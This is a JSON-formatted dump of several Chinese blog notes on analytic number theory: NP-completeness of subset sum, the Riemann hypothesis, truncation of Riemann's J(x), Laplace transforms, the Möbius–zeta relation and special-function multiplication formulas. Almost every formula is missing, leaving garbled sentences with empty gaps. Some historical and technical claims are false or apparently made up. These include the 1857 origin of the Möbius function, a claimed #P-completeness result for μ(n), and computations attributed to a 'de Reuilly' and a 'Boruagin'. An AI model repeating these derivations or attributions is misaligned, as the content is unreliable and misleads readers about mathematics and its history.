。对于子句 ，子句位的和 ，由于填充元素最多贡献 2（ ），故 ，即子句中至少有一个文字为真， 是 3SAT 的满足赋值。 复杂度分析：多项式时间的规约映射编码长度：每个整数的位数为 ，数值大小为 ，但编码所需的二进制位数为 ，是输入规模的多项式函数。 构造时间：生成 个整数及目标值 的时间为 ，满足多项式时间要求。 综上，子集和问题可通过多项式时间归约接收 3SAT 实例，且其本身是 NP 问题（验证子集和需 时间，其中 为集合大小），故子集和问题是 NPC 问题。 结论与扩展：从理论到应用子集和问题的 NPC 属性揭示了其计算复杂性的本质：不存在多项式时间算法（除非 ）。这一结论影响深远：在密码学中，基于子集和的背包密码体制（如 Merkle-Hellman）利用了其难解性；在动态规划领域，Bellman 提出的 伪多项式算法（其中 为目标值）是目前最优的精确解法之一。然而，当 呈指数增长时，该算法退化为指数时间，进一步印证了理论上的困难性。"},{"title":"","date":"2025-12-09T02:34:00.000Z","updated":"2025-12-09T02:35:00.000Z","comments":true,"path":"notes/Zeta/91.html","permalink":"https://blog.mhuig.top/notes/Zeta/91","excerpt":"","text":"函数零点问题的等价转化及黎曼猜想的方法论困境 函数零点问题的等价转化及黎曼猜想的方法论困境 经典函数零点问题的等价转化体系代数与几何的等价性基础函数零点问题的本质是探寻方程 的解，这一核心问题在数学分析中呈现出三重等价形态。对于实函数 ，其零点 满足： 代数定义：方程 的根； 几何意义：曲线 与 轴交点的横坐标； 分析特征：存在区间 使 （零点定理条件）。 三者的逻辑等价性可表示为： 是的零点 这种等价性构成了解决多项式零点问题的基础工具。例如对二次函数 ，判别式 的符号直接决定零点的存在性与重数，其几何对应是抛物线与 轴的相交状态。 中值定理的桥梁作用微分学为零点问题提供了深层分析工具。罗尔定理揭示了函数零点与导数零点的关联：若 在 连续、在 可导且 ，则存在 使 。 这一结论可通过构造辅助函数推广至更复杂场景，如拉格朗日中值定理的证明即依赖对 应用罗尔定理。 证明框架： 设 ，易验证 ，由罗尔定理得存在 使 ，即： 这一逻辑链条将函数整体性质（端点等值）转化为局部性质（导数零点），为证明高阶导数零点存在性提供了递归工具。 积分形式的零点表征积分学从另角度刻画零点问题。若 满足 ，则由微积分基本定理和罗尔定理可推出 在 内存在零点。 更一般地，积分中值定理表明：若 在 连续，则存在 使： 若积分值为零且 ，则 ，这构成了判断函数零点存在性的积分判据。 黎曼 函数的特殊性与常规方法失效根源解析延拓与函数定义的复杂性黎曼 函数的原始定义 仅在右半平面 收敛，且在此区域可证明无零点。其零点分布研究依赖解析延拓至全复平面（除 的单极点外），延拓后的函数满足函数方程： 这一方程揭示了零点关于临界线 的对称性。为简化零点分析，黎曼引入整函数： 其零点与 的非平凡零点完全等价，且满足 的对称性。这种构造使零点问题转化为整函数的零点分布研究，但 的复杂表达式（含伽马函数与正弦项）无法通过常规代数变形求解。 非平凡零点的复平面分布特性常规零点方法依赖实轴上的单调性或介值性，但 的非平凡零点位于临界带 内，呈现以下独特性质： 复平面孤立性：零点是复平面上的孤立点，无实函数对应的图像交点意义； 临界线对称性：若 是零点，则 也是零点； 渐近分布规律：黎曼 - 冯・曼戈尔特公式表明，区间 内的零点个数满足： 这些特性使实分析工具完全失效。例如零点定理要求的函数值变号条件，在复平面上需转化为更复杂的幅角变化条件（幅角原理），其计算涉及围道积分与留数定理的高级应用。 素数关联导致的非多项式性欧拉乘积公式揭示了 与素数分布的深刻联系： 这种无穷乘积结构表明 不具备多项式或有限阶整函数的零点分解性质。事实上，其非平凡零点与素数的分布密度密切相关，这种关联通过显式公式体现： 其中 是切比雪夫函数，求和遍历 的非平凡零点 。这种复杂的耦合关系使得零点问题无法孤立处理，必须纳入数论整体框架。 常规方法失效的具体表现代数方程求解的不可能性多项式零点可通过根式求解（代数基本定理保证存在性），但 的零点无法表示为任何代数方程的根。其根本原因在于： 超越性： 是超越整函数，不满足任何代数微分方程； 无穷乘积结构：欧拉乘积包含所有素数信息，无法转化为有限项表达式； 解析延拓的非显式性：临界带内的函数值需通过数值计算或积分表示获得。 例如，首个非平凡零点 的计算依赖黎曼 - 西格尔公式，其近似表达式为： 其中余项 的估计需要复杂的渐近分析，这与多项式求根的显式公式形成鲜明对比。 几何直观的丧失实函数零点的几何意义在复平面完全失效。 的图像是四维空间中的超曲面，无法可视化。为间接研究临界线上的零点，数学家定义实值函数 ，其中 是黎曼 - 西格尔 theta 函数，使 取实值。此时零点对应 的根，但这种构造已失去原始几何直观，且 的表达式极为复杂： 中值定理与零点定理的不适用性实分析中的零点定理与罗尔定理在复平面有对应推广（如柯西积分公式、幅角原理），但应用条件难以满足： 零点定理失效：复函数无介值性，无法通过端点函数值符号判断零点； 罗尔定理局限：复导数零点与函数零点无直接关联，需通过整函数理论间接分析； 单调性缺失：复平面上不存在实函数意义的单调性概念，无法通过导数符号判断零点位置。 例如，对 在临界带内应用幅角原理，需计算围道积分： 其中 是包围临界带部分区域的围道，积分值等于围道内零点与极点的差值。这种方法虽能计数零点，但无法确定具体位置，更不能证明所有零点都位于临界线上。 现代研究方法与工具困境零点密度估计的进展现代解析数论通过零点密度估计研究临界带内零点的分布规律。定义 为满足 的非平凡零点个数，目标是证明对 ， 具有尽可能小的阶。 经典结果包括： 黎曼 - 冯・曼戈尔特公式： ； Ingham 估计：对 ， ； Boruagin 结果：对 ，零点密度猜想成立，即 。 这些估计通过 Dirichlet 多项式的大值估计实现。例如 Guth-Maynard (2025+) 改进的估计式： 其中 是 Dirichlet 多项式大值点的个数， 是取值下界。这类结果虽能控制零点在临界线附近的聚集程度，但无法证明所有零点都在临界线上。 Montgomery 猜想与几何化尝试Montgomery 猜想试图通过 Dirichlet 多项式的大值分布揭示零点规律：设 ， ，若 是 1 - 分离集且 对所有 ，则 。这一猜想几乎等价于黎曼猜想，其几何化尝试将数论问题转化为高维空间中的点集分布问题，但尚未取得突破性进展。 证明思路的核心是通过矩阵奇异值估计控制大值点个数。考虑 阶矩阵 ，其奇异值 满足： 从而 。这种方法虽能得到密度估计，但无法排除临界线外零点的存在性。 计算机辅助验证的局限性截至 2024 年，计算机已验证超过 个非平凡零点均位于临界线上，但这种验证存在本质局限： 有限性：无法覆盖无穷多个零点； 精度限制：数值计算存在截断误差，无法达到数学证明的严格性； 分布偏差：已验证零点可能具有特殊分布，不能代表全体零点。 例如，Odlyzko 对大规模零点的计算揭示了零点间距的 GUE（高斯幺正系综）分布规律，这为物理启发的证明思路提供了线索，但尚未转化为严格数学证明。 结论：工具缺失还是本质困难？黎曼猜想的困难性并非单纯工具缺失所致，而是源于问题本身的深刻本质： 跨领域关联：零点分布同时涉及复分析、数论、动力系统等多个领域的核心问题； 无穷构造： 的定义包含无穷级数与乘积，其性质无法通过有限步骤完全刻画； 结构性矛盾：素数的离散分布与复函数的解析性之间的内在张力，这种张力在显式公式中体现为离散求和与连续积分的复杂耦合。 现有工具如零点密度估计、Montgomery 猜想、随机矩阵理论等，虽能不断逼近临界线，但始终未能彻底排除临界线外零点的存在性。以现在人类的数学工具还不足以破解黎曼猜想。这并非否定现有进展，而是指出需要全新的数学思想，可能是像微积分或复分析那样的革命性框架，才能最终解决这一世纪难题。 黎曼猜想的悬而未决，恰如数学发展史上的诸多重大问题，它不仅检验现有工具的极限，更指引着未来数学的发展方向。或许正如最新研究中展示的，通过牺牲传统方法的 \"弃子\"，反而可能开辟通往终极证明的新路径。这种方法论上的突破，或许比问题本身的解决更具深远意义。"},{"title":"","date":"2025-12-10T05:34:00.000Z","updated":"2025-12-10T05:50:00.000Z","comments":true,"path":"notes/Zeta/92.html","permalink":"https://blog.mhuig.top/notes/Zeta/92","excerpt":"","text":"黎曼素数计数函数 J (x) 的自然截断现象与截断点分析 黎曼素数计数函数 J (x) 的自然截断现象与截断点分析 黎曼素数计数函数 作为连接素数分布与解析数论的核心工具，其定义本身蕴含着深刻的截断本质。这一函数通过对素数幂的加权求和 将离散的素数信息转化为连续可分析的形式，其中 为传统素数计数函数。这种无限累加的结构天然引出两个关键问题：素数幂项应在何处截断与非平凡零点求和应在何处终止。 历史上，黎曼在 1859 年的开创性论文中首次揭示了 与 函数零点的解析联系，而后续西格尔（Siegel）等人的工作则为截断点的选择提供了严格的数学依据。现代数值计算表明，这两种截断并非任意选择，而是由函数的解析本性决定的 “自然现象”，素数幂项的截断点由 的对数函数控制，而非平凡零点的截断点则与 成正比，二者共同构成了从理论到实践的桥梁。 历史背景：从素数计数到解析延拓19 世纪中期，高斯（Gauss）与勒让德（Legendre）通过数值观察提出素数定理的雏形 ，但未能给出严格证明。黎曼在 1859 年发表的《论小于给定数值的素数个数》中，首次将素数分布问题转化为复分析问题。他引入 的关键动机在于：传统素数计数函数 在素数处的跳跃性（如 ， 等）难以直接应用解析工具，而 通过对素数幂的加权处理（例如在 处跳升 ，在 处跳升 ），将这种离散跳跃 “平滑化” 为更规则的阶梯函数。 黎曼进一步发现， 与 可通过莫比乌斯反演相互转化： 其中 为莫比乌斯函数。这一关系表明， 包含了素数分布的全部信息，且其解析表达式可通过 函数的零点展开获得： 这里 为对数积分函数， 遍历 函数的非平凡零点。这一公式将素数分布与复平面上的零点位置紧密关联，但其实际计算依赖于对两项无限过程的有效截断，素数幂项的无限求和与非平凡零点项的无限求和。 素数幂项的截断：权重衰减与有限性定义式的截断依据 的定义式 中，每一项 代表素数幂 对计数函数的贡献。 随着 的增大， 迅速减小： 当 时， ，此时 （因最小素数为 2）。 因此，有效项数仅需考虑 ，这一结论可通过严格的数学推导验证。 截断点的数学推导对于给定 ，考虑第 项的取值条件： 当 时， ，贡献为 ； 当 时， ，贡献为 ； 当 时， 等价于 （两边取以 2 为底的对数）。 因此，截断点 应取为 ，此时剩余项的贡献为零。 例如： 当 时， ，取 。 此时 ， ，故 。 代入具体值可得 ； 当 时， ，取 ，此时 ，后续项均为零。 这一推导表明，素数幂项的截断点由 的对数函数决定，且截断后无遗漏误差，是一种 “严格截断”。 非平凡零点项的截断：黎曼 - 西格尔公式的启示零点求和的收敛性问题黎曼显式公式中的非平凡零点项 是另一个需要截断的无限过程。 函数的非平凡零点 满足 ，若黎曼猜想成立，则 ，此时 ，其模为 。利用渐近展开 ，可知每项的模约为 ，这表明零点项的衰减速度与 成正比，需截断至足够大的 以控制误差。 自然截断点 的推导1932 年，西格尔提出的黎曼 西格尔公式为零点截断提供了理论依据。该公式通过对 函数的渐近展开，证明了其数值计算的误差项与零点虚部 相关。 结合数值实验与误差分析，可推导出以下关系： 当截断零点的虚部至 时，误差 。 为使误差小于 1（素数计数的基本精度要求），需取 。 具体推导如下： 由 ，得单零点项的模为 （因 对大 成立）； 假设零点在临界线上均匀分布，密度为 （根据黎曼 - 冯・曼戈尔特公式）； 总误差为所有未截断项的模之和： ； 令 ，解得 ，对大 有 ，故 。 例如： 当 时， ，需包含虚部小于 1000 的所有零点（约前 7000 个零点）； 当 时， ，需包含约前 个零点。 这一结果与黎曼 西格尔公式中的余项估计一致，即截断点 与 成正比，是黎曼猜想下的 “自然尺度” 。 截断表达式与数值实现素数幂项的截断表达式综合上述推导，素数幂项的截断表达式为： 其中 例如，当 时， ，表达式为： 代入具体值 ， ， ， ， ， ，计算得 。 非平凡零点项的截断表达式在黎曼猜想成立的前提下，非平凡零点项的截断表达式为： 其中 结合黎曼显式公式，完整的截断表达式为： 其中积分项在 时数值很小（例如 时积分值约为 0.14， 时约为 0.02），可直接计算无需截断。 截断现象的本质与意义黎曼素数计数函数的自然截断现象揭示了数论中 “有限 - 无限” 的辩证关系。素数幂项的截断源于整数分解的有限性，任何大于 1 的整数只能分解为有限个素数幂，且幂次有界；非平凡零点项的截断则源于 函数的解析性质: 零点分布密度随虚部增大而减小，使得求和具有渐近收敛性。这种双重截断不仅为数值计算提供了可行性（例如在计算机中实现素数计数），更深刻反映了素数分布的局部不规则性（由有限项素数幂刻画）与整体规律性（由无限零点项控制）的统一。 从应用角度看，自然截断点的发现使得 的计算从理论走向实践。 例如，2001 年，德 莱乌（de Reuilly）利用截断表达式计算了 ，其结果与素数定理的预测偏差小于 0.1%，验证了截断策略的有效性。未来，随着对 函数零点分布的深入研究（如零点间距、高次零点等），可能进一步优化截断点的选择，但其基本框架，由 与 控制的双重截断，已被证明是黎曼素数计数函数的 “自然属性”。 结论：自然截断点的普适法则黎曼素数计数函数 的自然截断现象可总结为两条普适法则： 素数幂项截断： 取 ，此时剩余项贡献为零，是严格的 “无误差截断”； 非平凡零点项截断： 取 ，此时误差小于 1，满足素数计数的基本精度要求。 这一结果不仅是数学推导的必然，更是素数分布内在规律的体现，素数的局部行为由有限个素数幂决定，而整体分布则由无限个零点的协同作用控制。正如黎曼在 1859 年论文中所暗示的，这种从有限到无限的跨越，正是数论魅力的核心所在。未来对黎曼猜想的证明或否证，可能进一步揭示截断误差的精细结构，但自然截断点 与 的主导地位，已成为连接素数与复分析的不可动摇的桥梁。"},{"title":"","date":"2025-12-10T12:34:00.000Z","updated":"2025-12-10T12:50:00.000Z","comments":true,"path":"notes/Zeta/93.html","permalink":"https://blog.mhuig.top/notes/Zeta/93","excerpt":"","text":"拉普拉斯变换 拉普拉斯变换及其在数论中的应用 拉普拉斯变换作为连接时域与复频域的桥梁，不仅是工程领域求解微分方程的利器，更在数论中展现出深刻的理论价值。从赫维赛德的算子直觉到黎曼 函数的解析延拓，从素数定理的概率解释到高斯圆问题的误差估计，这一积分变换构建了分析学与数论之间的隐秘通道。本文将系统梳理拉普拉斯变换的历史脉络、数学定义与性质，并深入探讨其在解析数论核心问题中的应用，揭示复分析方法如何重塑人类对素数分布的认知。 拉普拉斯变换的历史渊源与数学基础18 世纪末，皮埃尔 - 西蒙・拉普拉斯在研究天体力学时首次引入了这一积分变换的雏形，但其严格数学框架的建立则经历了近一个世纪的演变。19 世纪 80 年代，自学成才的英国物理学家奥利弗・赫维赛德在求解电磁场方程时，开创性地提出了 \"微分算子\" 方法，直接将微分运算 记为算子 ，积分运算记为 ，从而将二阶常微分方程 转化为代数方程 。这种 \"物理直觉驱动\" 的方法虽缺乏严格性，却为拉普拉斯变换的工程应用铺平了道路。 拉普拉斯变换的现代定义源于对傅里叶变换局限性的突破。傅里叶变换要求函数绝对可积，这就排除了多项式等常见增长函数。通过引入衰减因子 ，拉普拉斯将傅里叶积分的适用范围扩展到更广泛的函数类。对于定义在 上的函数 ，其拉普拉斯变换 定义为： 其中 为复变量， 的取值需保证积分收敛。这一构造可视为傅里叶变换的推广，当 时，拉普拉斯变换即退化为单边傅里叶变换。从几何视角看，复指数函数 代表复平面上的螺旋曲线，不同 值对应不同衰减速率的螺旋，这为理解变换的收敛域提供了直观图像。 拉普拉斯变换的核心价值在于其对微分运算的代数化处理。通过分部积分可以证明，函数 的导数的拉普拉斯变换满足： 更一般地， 阶导数的变换为 。这一性质将微分方程转化为多项式方程，将卷积运算转化为乘积运算，彻底改变了线性系统的分析范式。控制论中著名的传递函数方法，本质上就是利用拉普拉斯变换将时域的输入输出关系转化为复频域的代数关系。 拉普拉斯变换的基本性质与反演理论拉普拉斯变换的线性性质是其最基本的特征，对于任意常数 和函数 ，有 。这一性质使得变换成为线性空间之间的同态映射，为处理线性系统提供了数学基础。更为深刻的是其卷积定理：时域卷积对应频域乘积，即 ，其中卷积定义为 。这一定理的证明需要交换积分顺序并作变量替换 ，其工程意义在于将复杂的时域叠加运算转化为简单的频域乘法，是信号处理中滤波器设计的理论基石。 位移性质揭示了复平面上的平移与时间域指数调制的对应关系： ，其中 为复常数。这一性质在求解非齐次微分方程时尤为重要，例如对于 ，可先利用欧拉公式将其表示为复指数函数的实部，再应用位移性质得到变换结果： 类似地可求得正弦函数的变换。这种处理函数对（实部与虚部）的方法，展示了复分析工具在实变函数变换中的强大威力。 拉普拉斯逆变换的存在性与唯一性由黎曼 - 勒贝格引理保证，其计算公式（布罗姆维奇积分）为： 其中 为位于 收敛域内的实常数。在实际计算中，逆变换常通过留数定理求解：若 为有理函数且具有有限个奇点，则 等于 在所有奇点处的留数之和。例如对于 ，其奇点为 和 ，对应的留数分别为 和 ，故 。 值得注意的是，赫维赛德最初的算子法虽缺乏严格基础，却蕴含了拉普拉斯变换的核心思想。他将微分算子 直接视为代数变量进行运算，这种 \"形式计算\" 在特定条件下可通过拉普拉斯变换严格化。历史地看，正是这种物理直觉与数学严格性的相互促进，推动了运算微积的发展 —— 赫维赛德的工程实践为纯数学研究提供了问题源泉，而后续的复分析严格化则巩固了其理论基础。 解析数论中的拉普拉斯变换方法拉普拉斯变换在数论中的应用源于其对狄利克雷级数的解析处理。黎曼 函数 （ ）可视为数列 的生成函数，而其与素数分布的联系则通过欧拉积公式体现： 素数 对等式两边取对数得到 ，这揭示了 函数与素数计数函数的深刻联系。拉普拉斯变换为这类级数的解析延拓和渐进估计提供了新工具，特别是在素数定理的研究中展现出独特优势。 素数定理断言：小于 的素数个数 满足 （当 时）。其证明的关键在于分析切比雪夫函数 ，其中 为冯・曼戈尔特函数（当 为素数幂 时， ，否则为 0）。可以证明 与素数定理等价，而拉普拉斯变换方法为证明这一渐进关系提供了复分析路径。 考虑 的拉普拉斯 - 斯蒂尔切斯变换： 这一重要等式将数论函数的变换与 函数的对数导数联系起来。利用塔贝尔型定理（Tauberian theorem），可以通过 在 时的性态反推 的渐进行为。具体而言，若 满足一定条件，则其拉普拉斯变换 的解析延拓在 处的留数决定了 的极限行为。这种从复平面奇点分析到实轴渐进估计的过渡，展现了拉普拉斯变换连接不同数学领域的独特能力。 另一种处理方式是考虑 的积分 ，其拉普拉斯变换可表示为： 通过梅林反演公式，可将 表示为复平面上的围道积分： 这一积分的计算需要仔细分析被积函数的奇点： 函数在 处有单极点，留数为 1，由此可计算出主项为 ；而临界线上的非平凡零点则贡献误差项。这种通过围道积分计算数论函数的方法，开创了解析数论的新范式，其思想也被推广到高斯圆问题等其他经典问题。 拉普拉斯变换在数论问题中的深度应用高斯圆问题询问以原点为中心、半径为 的圆内整点个数 的渐近公式。已知 ，其中误差项 ，确定最小 值是数论中的重要难题。拉普拉斯变换方法为研究 的平方积分等矩问题提供了有力工具，通过分析 的拉普拉斯变换： 可以得到误差项平方积分的渐近展开。这种 \"平滑化\" 技巧通过引入指数权重 避免了直接处理数论函数的剧烈波动，使得复分析方法能够有效应用。具体计算中，需要将狄利克雷级数 进行梅林变换，利用其在复平面的解析性质进行围道积分，最终得到主项为 ，误差项为 。这里的常数 与 函数在 处的值相关，展示了局部积分估计与整体解析性质的深刻联系。 在移位卷积和问题中，拉普拉斯变换同样发挥着关键作用。对于表示圆内整点的函数 （ 为将 表为两整数平方和的方法数），其移位卷积和 的估计问题与量子混沌等物理领域密切相关。通过引入拉普拉斯权重 ，可将求和转化为复平面积分： 其中 为相应的狄利克雷级数。通过分析 的解析延拓和在临界线附近的增长性，结合拉普拉斯逆变换的围道移位技巧，可以得到求和的主项为 ，误差项依赖于拉马努金猜想的进展（目前最好结果为 ）。这种将数论和调和分析问题转化为复平面积分的方法，已成为现代解析数论的标准工具。 拉普拉斯变换的另一个重要应用是素数计数函数的积分表示。通过海维赛德函数 （当 时为 1，否则为 0），可将素数计数函数表示为 。对其进行拉普拉斯变换得到： 结合欧拉积公式的对数展开，可以建立 与 的关系： 这一方程通过莫比乌斯反演可解出 ，展示了拉普拉斯变换如何将离散的素数求和转化为复平面上的函数方程。虽然这种处理方式在严格性上存在争议，但其直观思想启发了后续的解析数论研究。 结论从天体力学的微分方程到素数分布的渐进估计，拉普拉斯变换跨越了物理与数学的边界，展现了抽象数学工具的强大解释力。赫维赛德的算子直觉与拉普拉斯的积分构造看似殊途，却共同指向同一个深刻思想：通过变换将复杂运算转化为简单形式。在数论领域，这种思想体现为将离散的数论函数转化为复平面上的解析函数，通过奇点分析和围道积分揭示其渐进行为。"},{"title":"","date":"2025-12-17T08:45:00.000Z","updated":"2025-12-17T08:50:00.000Z","comments":true,"path":"notes/Zeta/94.html","permalink":"https://blog.mhuig.top/notes/Zeta/94","excerpt":"","text":"莫比乌斯函数与黎曼 Zeta 函数的深刻联系 莫比乌斯函数与黎曼 Zeta 函数的深刻联系 这一等式在 时成立，揭示了 与 的倒数关系。 莫比乌斯函数 与黎曼 Zeta 函数 的关系是解析数论的核心支柱，它们通过欧拉乘积公式和狄利克雷卷积建立起双向桥梁。这种联系不仅揭示了数论函数的解析性质，更为素数分布、整数分拆等经典问题提供了强大的研究工具。 历史背景与函数起源1857 年，德国数学家奥古斯特・莫比乌斯在研究素数分布问题时首次引入了以其名字命名的函数 。这一函数的诞生源于对素数计数函数 渐近性质的探索，当时数学家们正试图突破高斯提出的 猜想的理论瓶颈。莫比乌斯函数的定义看似简单，却意外地成为连接乘法数论与解析数论的关键纽带。 几乎同时期，伯恩哈德・黎曼在 1859 年的开创性论文《论小于给定数值的素数个数》中，将欧拉 1737 年定义的实变量函数 延拓到复平面，提出了著名的黎曼猜想。黎曼发现， 的非平凡零点分布直接决定了素数定理的误差项，而莫比乌斯函数正是揭示这种联系的重要媒介。两位数学家的工作在二十年后通过梅滕斯等人的研究最终融合，形成了解析数论中最为深刻的函数关系之一。 基本定义与初等性质莫比乌斯函数的严格定义莫比乌斯函数 是定义在正整数集上的算术函数，其取值规则如下： 当 时， ； 当 存在平方因子（即存在素数 使得 ）时， ； 当 为 个不同素数的乘积（即无平方因子数）时， 。 这一定义可通过素数分解统一表述：若 是 的标准素分解式，则 若若存在若所有 典型取值示例包括 （单素数）， （两个不同素数乘积）， （存在平方因子）。 黎曼 Zeta 函数的解析延拓黎曼 Zeta 函数在复平面上的完整定义需要考虑解析延拓。对于 ，其级数定义收敛： 通过解析延拓技术（如围道积分或函数方程），可将其定义域扩展到整个复平面（除 处的单极点外）。核心的函数方程揭示了其对称性： 其中 是伽马函数。这一方程表明 在 与 之间的深层联系，也是证明非平凡零点关于临界线 对称的基础。 核心关系的解析推导欧拉乘积公式的双向应用当 时，黎曼 Zeta 函数可表示为无穷乘积形式（欧拉乘积）： 对等式两边取倒数，得到 将右侧乘积展开为 Dirichlet 级数。注意到素数乘积的展开式对应于所有无平方因子数的贡献，因为每个素数因子只能出现 0 或 1 次。对于每个无平方因子数 ，其在乘积展开中贡献 ，而有平方因子的数贡献为 0。这恰好是莫比乌斯函数的定义，因此： 这一关键等式在 时成立，揭示了 与 的倒数关系。 狄利克雷卷积框架下的证明从数论函数的卷积观点出发，莫比乌斯函数与常数函数 构成狄利克雷逆元。狄利克雷卷积定义为 ，单位元为 若 否则 0。 通过直接计算可得： 当 时，和式仅含 ，故结果为 1。当 时，设 ，则其因子 必为 形式（ ）。由于 仅当所有 ，故非零项对应于从 个素数中选取子集的情况： 因此 ，即 是 的狄利克雷逆元。根据狄利克雷卷积的性质，两个函数卷积的 Dirichlet 级数等于其 Dirichlet 级数的乘积。由于 的 Dirichlet 级数为 1， 的 Dirichlet 级数为 ， 的 Dirichlet 级数为 ，则有 ，从而 ，再次证明了： 莫比乌斯反演公式及其推导一般形式的反演原理莫比乌斯函数与 Zeta 函数的关系直接导出了数论中至关重要的莫比乌斯反演公式。设 和 是算术函数，若它们满足 则其 Dirichlet 级数满足 ，其中 ， 。两边同乘 可得 ，转换回卷积形式即： 这就是莫比乌斯反演公式的标准形式。等价地，若 （即求和遍历倍数而非因子），则反演公式变为： 实例推导：除数函数的反演作为具体例证，考虑除数函数 ，即 是 的正因子个数。这里 ， ，满足 。应用反演公式可得： 取 验证： ， ， ， 。则右侧为 ，与左侧一致。 解析数论中的核心应用素数定理的严格证明素数定理 的证明关键在于分析 的渐近性质。通过莫比乌斯反演，可将 表示为： 更精确地，利用 （曼戈尔特函数）及 （狄利克雷卷积），可得： 通过估算内层对数和 ，代入得到： 当 时， （发散但在 Cesàro 和意义下收敛），最终可推得 ，从而 。 整数分拆问题的渐近估计整数分拆函数 表示将 写成正整数之和的方法数。哈代和拉马努金利用圆法证明 时，关键步骤之一是将 的生成函数表示为： 通过莫比乌斯反演分离奇异部分，得到： 这一结果揭示了分拆函数的指数增长特性，其证明深度依赖于 在 附近的极点行为与 的平均阶估计。 现代研究进展与前沿问题莫比乌斯函数的符号变化问题是当前数论研究的热点之一。1919 年，利特伍德证明存在无穷多个 使得 和 ，但具体分布规律仍不明确。2015 年，福特、格林、科尼希斯伯格和特鲁吉安证明了 的波动幅度至少为 ，但最佳阶猜想 仍未解决，这与黎曼猜想等价于 的事实密切相关。 在计算复杂性领域，莫比乌斯函数的求值问题与 vs 问题存在深刻联系。1994 年，瓦利安特证明了计算 是 #P- 完全问题，这意味着即使判定 （即 是否为无平方因子数）可在多项式时间内完成，精确计算其非零值却异常困难。这种复杂性差异反映了莫比乌斯函数内在的算术深度。 莫比乌斯函数与黎曼 Zeta 函数的关系跨越了纯粹数学与应用科学的界限。从素数定理到量子混沌，从密码学到算法设计，这种联系持续为各领域提供强大的理论工具和深刻的哲学启示。理解 与 的互动关系，正是探索这一乐园的关键路径。未来随着黎曼猜想等核心问题的突破，这两个函数必将揭示更多关于整数结构的深层奥秘。"},{"title":"","date":"2025-12-17T10:19:00.000Z","updated":"2025-12-17T10:30:00.000Z","comments":true,"path":"notes/Zeta/95.html","permalink":"https://blog.mhuig.top/notes/Zeta/95","excerpt":"","text":"特殊函数倍乘公式的统一性 特殊函数倍乘公式的统一性：从 Hurwitz Zeta 函数到正弦函数的底层联系 特殊函数理论中，倍乘公式长期以独立形态存在，正弦函数的倍角公式、Γ 函数的勒让德倍乘公式、伯努利多项式的倍元公式等，表面上呈现不同的代数结构与解析性质。然而，这些分散结果实则源于共同的数学根源：Hurwitz Zeta 函数的模变换性质。这些看似无关的公式实际上都可以从 Hurwitz zeta function 的 multiplication theorem 推出来，它们本质是格点 ζ 函数在不同参数空间的投影。这种统一性不仅为特殊函数理论提供了全新视角，更暗示复分析、数论与数学物理中模结构的普适性。 Hurwitz Zeta 函数的模变换与倍乘公式的起源Hurwitz Zeta 函数作为特殊函数理论的 \"母函数\"，其定义为复平面上的解析函数： 其中 且 。这一函数的核心性质在于其满足模 n 分组恒等式，即对任意正整数 k 与复数 a，有： 此恒等式称为 \"multiplication theorem\"，这是导出所有倍乘公式的基础。该恒等式可通过直接展开右侧求和项证明：将指标 n 按模 k 划分等价类，每个等价类对应原级数中的一个子列，经变量替换后重新组合即得左侧表达式。这一过程本质上是格点 在模 k 作用下的分解，体现了数论中算术级数划分的思想。 值得注意的是，该恒等式在整个复平面上具有解析延拓性。通过黎曼 ζ 函数的解析延拓技术，可证明上式对所有 （除 s = 1 外）均成立，其中 。这种解析延拓能力是后续推导各类特殊函数倍乘公式的关键前提。 伯努利多项式倍元公式的导出伯努利多项式与 Hurwitz Zeta 函数通过负整数阶取值建立深刻联系。已知当 时，有： 其中 为伯努利多项式。为导出倍元公式，取 （ ）代入 Hurwitz Zeta 函数的模变换式： 代入伯努利多项式表达式得： 两侧同乘 并令 ，即得到伯努利多项式倍元公式： 这一结果表明伯努利多项式的倍元性质本质上是 Hurwitz Zeta 函数在负整数阶的特殊表现。特别地，当 时，可得到伯努利数的倍乘关系： ，揭示了伯努利数的算术周期性。 Γ 函数与勒让德倍乘公式的解析延拓路径Γ 函数的倍乘公式推导需要借助 digamma 函数 的桥梁作用。首先考虑 Hurwitz Zeta 函数在 附近的洛朗展开，对模变换式两侧同时减去 以消除极点： 利用极限关系 ，推导得出 digamma 函数的倍乘公式： 对该式两侧从 a 积分至 b，利用 ，可得勒让德倍乘公式： 这一公式将 Γ 函数在 kz 处的取值与 k 个相邻点处的取值联系起来，体现了模变换下解析函数的乘积结构。 正弦函数倍角公式的几何实现正弦函数倍角公式的推导过程充分体现了从 Γ 函数到三角函数的 \"降维\" 过程。采用 Γ 函数余元公式 ，通过变量代换与乘积重组，最终得到倍角公式： 这一推导的关键步骤在于对乘积项 同时应用勒让德倍乘公式，将复杂乘积转化为单一 Γ 函数的比值，最终简化为正弦函数形式。这种 \"乘积 - 收缩\" 过程体现了模变换的几何本质，将 k 维乘积空间压缩为一维函数取值。 值得注意的是，在推导中特意保留了系数 \"2\"，形成 与 的对称形式，这种表达方式比传统形式更清晰地揭示了乘积项与和角项的系数对应关系。 统一框架：从 Truesdell 理论到模结构普适性Truesdell 于 1948 年出版的《An Essay Toward a Unified Theory of Special Functions》，指出特殊函数的倍乘公式与加法定理可纳入更一般的微分方程框架。Truesdell 考虑满足以下递归关系的函数 F： 若 关于 y 解析，则可展开为幂级数： 令 ，即得到核心泛函方程： 这一方程揭示了倍乘公式的本质是函数递归关系在尺度变换下的不变性。通过选择不同的 F 函数，可生成各类特殊函数的倍乘公式： 令 ，得到 Hurwitz Zeta 函数的模变换； 令 ，得到贝塞尔函数的倍乘公式； 令 ，得到拉盖尔多项式的倍乘公式； 这种统一性不仅覆盖了初等函数，还包括超几何函数等高阶特殊函数。超几何函数的倍乘公式，其形式虽复杂，但仍遵循相同的递归展开模式。 数学意义与物理应用多对数函数（polylogarithm function）倍乘公式： 以及库默尔函数（Kummer's function）的对称关系： 进一步验证了模变换性质的普适性。这些例子表明，倍乘公式不是个别函数的偶然性质，而是复分析中 \"递归 - 解析\" 结构的必然结果。 在物理应用中，这种统一性为处理多尺度问题提供了有力工具。例如： 在量子场论中，伯努利多项式的倍元公式用于计算费米子传播子的高阶圈图修正； 在统计力学中，Γ 函数的倍乘公式可简化高维伊辛模型的配分函数计算； 在光学中，正弦函数的倍角公式用于描述多光束干涉的强度分布。 特别值得注意的是，这些公式的确让人感到非常奇怪的相似性并非巧合，而是源于更深层的数学结构。这种观点与朗兰兹纲领中 \"函子性\" 思想不谋而合，暗示特殊函数理论可能是更宏大数学框架的组成部分。 结论通过系统推导，证明了正弦函数倍角公式、Γ 函数勒让德倍乘公式、伯努利多项式倍元公式等表面独立的结果，实则是 Hurwitz Zeta 函数模变换性质在不同参数区域的具体表现。Truesdell 